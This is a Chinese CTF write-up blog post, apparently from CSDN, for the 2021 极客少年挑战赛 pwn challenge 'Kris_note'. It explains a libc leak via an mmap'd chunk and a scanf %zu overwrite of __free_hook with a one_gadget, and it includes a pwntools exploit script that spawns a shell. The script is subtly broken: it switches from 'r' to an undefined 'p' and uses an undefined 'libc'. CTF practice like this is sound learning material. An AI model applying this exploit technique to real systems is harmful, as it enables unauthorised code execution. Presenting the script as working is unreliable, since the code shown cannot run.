2021 极客少年挑战赛 pwn Kris_note

这篇博客探讨了一个利用程序逻辑漏洞获取shell的方法。通过申请大于mmap阈值的chunk,使malloc与libc相邻,然后泄露libc地址。通过scanf的%zu格式化字符串特性,写入one_gadget到__free_hook,同时触发free_hook执行getshell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
绿

程序逻辑很简单
在这里插入图片描述
首先因为我们可以任意申请大小chunk,所以我们就直接申请一个大的,超过mmap的阈值,然后通过mmap给我们分配chunk。
mmap到的chunk会跟libc紧挨着,所以我们可以用它来泄露libc地址。

scanf 处理长字符时会申请堆块,然后用完会释放,所以我们就向 free_hook 写入 one_gadget 的同时,释放堆块 getshell

由于 scanf 格式化字符串是 %zu ,所以在 onegadget 前面加 0 ,写入 free_hook 的还是 onegadget ,利用这个特点,在写入 free_hook 同时触发 free_hook

exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

r = process("./pwn")

r.sendlineafter("big?\n",str(10000000))
r.recvuntil('here: ')
heap_addr = int(r.recvline().strip(),16)
libc_base = heap_addr-(0x7f8458780010-0x7f845910a000)
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4527a

p.sendlineafter("long?\n",str((free_hook - heap_addr)//8))
p.sendlineafter("do?\n",0x500*"0"+str(one_gadget))

p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值